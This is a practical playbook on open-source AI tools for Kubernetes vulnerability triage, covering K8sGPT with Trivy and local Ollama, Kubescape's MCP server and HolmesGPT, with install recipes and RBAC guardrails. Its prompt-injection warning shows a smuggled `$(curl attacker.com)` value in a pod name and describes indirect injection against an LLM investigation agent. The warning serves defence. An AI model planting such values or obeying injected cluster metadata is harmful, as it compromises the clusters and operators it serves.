OPEN SOURCE PLAYBOOK

AI-Powered Kubernetes Vulnerability & Security Auditing

A practical guide to open-source AI scanners, hybrid architectures, model context integration, and cluster hardening.

Domain: Cloud-Native & Kubernetes Security **Stack:** CNCF Projects, LLMs, MCP, eBPF **Target:** SecOps, Platform, & SRE Teams

1. Executive Summary & Problem Context

Securing modern Kubernetes clusters requires managing vulnerabilities across three continuous fronts: **container image CVEs**, **infrastructure-as-code (IaC) misconfigurations** (e.g., privileged containers, missing network policies), and **runtime threat anomalies**.

Traditional open-source security tools (such as Trivy, Falco, and Kube-bench) are exceptional at deterministic data collection but introduce high operational overhead:

- **Alert Fatigue:** A medium-sized cluster routinely triggers thousands of CVE warnings, many in unused libraries or unreachable code paths.
- **Lack of Contextual Triage:** Scanners identify what is vulnerable, but lack cluster context to evaluate exploitability against specific network policies or ingress rules.
- **Remediation Bottlenecks:** Security alerts are rarely accompanied by ready-to-apply YAML patches.

The AI Paradigm Shift: Open-source AI tools solve this by serving as an *intelligence, triage, and translation layer*. Rather than replacing deterministic scanners, AI interprets scan outputs, correlates them with active cluster topologies, explains threat mechanics in plain English, and produces automated remediation diffs.

2. Production Architecture: The Hybrid Security Triad

Directly asking an LLM to scan a cluster without grounding results in hallucinated CVE numbers and false alarms. Production-grade deployments use a grounded, three-layer hybrid architecture:

1 DETERMINISTIC DETECTION LAYER (GROUND TRUTH ENGINE)

Trivy / Trivy Operator: Scans container images for CVEs, exposed secrets, and IaC compliance • **Falco (eBPF):** Real-time kernel syscall tracing for abnormal runtime behavior • **Kube-bench:** CIS Benchmark configuration validation

▼ Structured Security Reports (JSON / Custom Resource Definitions / System Logs)

2 AI INTELLIGENCE & CORRELATION LAYER (ANALYSIS & TRIAGE)

K8sGPT: Ingests Trivy/Falco CRDs, correlates pod dependencies, filters false positives • **Kubescape MCP:** Exposes live cluster security state to AI assistants via Model Context Protocol • **HolmesGPT:** Autonomous ReAct agent investigating triggered security alerts

▼ Sanitized Prompts (Stripped of Secrets, Tokens, and Sensitive Topologies)

3 INFERENCE CONTROL & LOCAL PRIVACY LAYER

Local Privacy: Ollama / LocalAI (keeps topology, manifests, and internal IPs 100% on-premises) • **Enterprise Cloud LLMs:** OpenAI / Claude / Gemini / Bedrock (governed by strict read-only RBAC)

> **Architecture Golden Rule: Deterministic Detection + AI Triage**
> Always rely on deterministic tools (Trivy, Falco) as the source of truth for raw CVE detection. Use the AI/LLM layer exclusively to synthesize, prioritize, explain, and generate corrective manifests.

3. Core Open-Source AI Security Tools (Detailed Breakdown)

1. K8sGPT

`github.com/k8sgpt-ai/k8sgpt`

CNCF Sandbox | CLI & Operator | Trivy Integration

Mechanism: Scans Kubernetes clusters using built-in SRE/security analyzers. Ingests raw error states and integrates directly with Aqua's **Trivy Operator**.

Vulnerability Scanning: Through the command `k8sgpt integration activate trivy`, it queries `VulnerabilityReport` and `ConfigAuditReport` CRDs. It prioritizes critical CVEs and queries an LLM to explain the exploit vector and recommend exact patch commands.

Backends: OpenAI, Azure, Gemini, Bedrock, and local models via **Ollama** or **LocalAI**.

2. Kubescape

`github.com/kubescape/kubescape`

CNCF Sandbox / ARMO | Model Context Protocol (MCP) | AI Workload Posture

Mechanism: A full Kubernetes Security Posture Management (KSPM) suite covering CIS Benchmarks, NSA-CISA controls, and RBAC visualization.

AI Integration:

- **Built-in MCP Server (`kubescape mcpserver`):** Connects cluster scan data directly into AI assistants (Claude, Cursor, AI agents) to query vulnerabilities via natural language.
- **AI Agent Workload Hardening:** Audits autonomous AI agents running inside K8s (`KAgent` CRDs) to prevent privilege escalation and prompt injection pivot vectors.

3. Kube-Copilot

`github.com/feiskyer/kube-copilot`

CLI Tool | Workload Hardening | Trivy Engine

Mechanism: An AI-assisted CLI operations tool combining cluster administration, troubleshooting, and explicit security assessments.

Vulnerability Scanning: Features a dedicated `kube-copilot audit` command. It leverages local Trivy binaries to scan container images of target pods while evaluating Pod Security Standards (PSS), root execution, Linux capabilities, and writable root filesystems, returning AI-annotated fixes.

4. HolmesGPT

`github.com/robusta-dev/holmesgpt`

CNCF Sandbox / Robusta | Autonomous Agent (ReAct) | Runtime Alerts

Mechanism: An autonomous AI agent designed for incident investigation. It operates using an iterative ReAct (Reasoning + Acting) loop via read-only `kubectl` calls.

Vulnerability Application: When triggered by Falco or Prometheus security alerts, HolmesGPT traces pod lineages, checks process spawns, and assesses whether an active CVE exploit attempt or privilege escalation took place.

Specialized Security Agents & Manifest Linters

Cynative

`github.com/cynative/cynative`

An open-source AI agent framework dedicated to cloud and Kubernetes security. Uses autonomous agents to audit RBAC permissions, trace potential lateral movement paths, identify public exposures, and detect supply chain vulnerabilities.

GenKubeSec & KubeGuard

`Academic Research / Open Frameworks`

GenKubeSec uses fine-tuned LLMs to detect syntax and security flaws in Kubernetes Configuration Files (KCFs) that static linters miss. **KubeGuard** evaluates static manifests against runtime audit logs to automatically generate hardened security policies.

4. Comparative Feature Matrix

Tool	Primary Strength	Vulnerability / Audit Mechanism	AI Role & Workflow	Data Privacy / Local LLM
K8sGPT	Automated triage & error diagnosis	Trivy Operator (CVEs), Falco, Pod & Ingress analyzers	Summarizes findings, explains root causes, generates YAML patches	**Full** (Ollama, LocalAI)
Kubescape	Comprehensive KSPM & Compliance	Built-in Trivy/Grype scanners, CIS, NSA-CISA, RBAC maps	MCP Server for AI assistants; audits in-cluster AI workloads	**Full** (Local MCP Client)
Kube-Copilot	Interactive CLI workload audits	Direct Trivy integration & Pod Security Standards (PSS)	Scans target pods and uses LLMs to generate hardened specs	**Partial** (OpenAI, Claude, Azure)
HolmesGPT	Alert investigation & incident RCA	Falco runtime alerts, Prometheus metrics, K8s events	Autonomous ReAct agent investigating active security alerts	**Full** (Ollama, LocalAI)
Cynative	Infrastructure & attack-path audit	Multi-cloud IAM, Kubernetes RBAC, network topologies	Autonomous agents tracing privilege escalation vectors	**Configurable** (API keys)
GenKubeSec	IaC manifest static analysis	Kubernetes Configuration Files (KCFs)	Fine-tuned LLM detecting complex contextual misconfigurations	**Full** (Open-weight models)

5. Hands-on Implementation Playbook

Recipe 1: Zero-Data-Exfiltration Scanning (K8sGPT + Trivy + Local Ollama)

This recipe provides an enterprise-ready, 100% private vulnerability scanning pipeline. Workload names, namespace topologies, and vulnerability reports never leave your local infrastructure.

Step 1: Install K8sGPT CLI and Set Up Local Ollama

```
# 1. Install K8sGPT CLI (Linux x86_64)
curl -LO https://github.com/k8sgpt-ai/k8sgpt/releases/latest/download/k8sgpt_amd64.deb
sudo dpkg -i k8sgpt_amd64.deb

# 2. Start Ollama with a capable instruction/reasoning model
ollama run llama3.1:8b
```

Step 2: Authenticate K8sGPT to Ollama and Activate Trivy

```
# Add local Ollama backend (OpenAI-compatible endpoint)
k8sgpt auth add --backend localai --model llama3.1:8b --baseurl http://localhost:11434/v1

# Activate the Trivy operator integration inside the cluster
k8sgpt integration activate trivy
```

Step 3: Execute Target Vulnerability Analysis with Explanations

```
# Verify available security filters
k8sgpt filters list

# Run AI-explained scan exclusively on Vulnerability and Configuration Audit reports
k8sgpt analyze --explain --filter=VulnerabilityReport,ConfigAuditReport --backend localai --output json
```

Continuous In-Cluster Automation with K8sGPT Operator

Deploy the **K8sGPT Operator** in production alongside **Trivy Operator**. K8sGPT will continuously process generated `VulnerabilityReport` CRDs, run them through your internal LLM, and persist summarized AI analysis into custom `Result` resources queryable via `kubectl get results -n k8sgpt-operator-system`.

Recipe 2: Natural Language Cluster Auditing via Kubescape MCP

By enabling the **Model Context Protocol (MCP)** in Kubescape, you can connect your AI coding assistant (e.g. Claude Desktop, Cursor, or an internal agent) directly to live cluster security data.

```
# 1. Install Kubescape CLI
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | bash

# 2. Add Kubescape MCP to your AI assistant config (e.g., claude_desktop_config.json)
{
  "mcpServers": {
    "kubescape": {
      "command": "kubescape",
      "args": ["mcpserver"]
    }
  }
}
```

Sample Natural Language Auditing Queries:

- *"List all Pods in the 'production' namespace that contain critical vulnerabilities with known remote code execution (RCE) exploits."*
- *"Audit my running workloads against the NSA-CISA Kubernetes Hardening Guide and show me the YAML diff to fix all non-compliant securityContexts."*
- *"Which ServiceAccounts possess cluster-admin privileges or secret reading capabilities across all namespaces?"*

6. Security Guardrails & Privacy Best Practices

> **Critical Security Warning: Prompt Injection & Cluster RBAC Risk**
> Never grant autonomous AI agents uncontrolled `cluster-admin` privileges. An attacker could craft a malicious container image name or pod annotation (e.g., `"name: pod-$(curl attacker.com)..."`) to trigger indirect prompt injection against an LLM investigation loop.

- **Enforce Strictly Read-Only RBAC for AI Tools:** ServiceAccounts assigned to AI scanners should only have `get`, `list`, and `watch` permissions on descriptive resources and CRDs. All write/patch actions must enforce a *Human-in-the-Loop (HITL)* approval workflow.
- **Sanitize Prompts for Sensitive Secrets:** Ensure in-cluster tools filter out environment variables, Secret resources, and TLS private keys before transmitting payloads to external LLM APIs.
- **Mandatory Air-Gap Mode for Regulated Environments:** For PCI-DSS, HIPAA, or strict enterprise zones, mandate local inference (Ollama with LLaMA 3.1) to eliminate external network egress.
- **Policy Engine Gatekeeping:** Always pass AI-generated remediation YAMLs through admission controllers like **Kyverno** or **OPA Gatekeeper** before applying them to production.

7. Practical Decision Matrix: Choosing the Right Tool

Target Requirement	Recommended Open-Source Tool	Suggested Next Step
"I need immediate CLI scans with plain-English CVE explanations."	**K8sGPT + Trivy Integration**	Install K8sGPT CLI, hook up Trivy integration, run `analyze --explain`.
"I want conversational cluster querying through AI assistants."	**Kubescape with MCP Server**	Configure `kubescape mcpserver` in Claude Desktop or Cursor.
"I need an AI agent to investigate live runtime security alerts."	**HolmesGPT (with Falco)**	Deploy HolmesGPT and forward Falco runtime alert webhooks to it.
"I want automated in-cluster scanning with zero cloud egress."	**K8sGPT Operator + Local Ollama**	Deploy K8sGPT Helm chart with `backend: localai` pointing to an internal Ollama pod.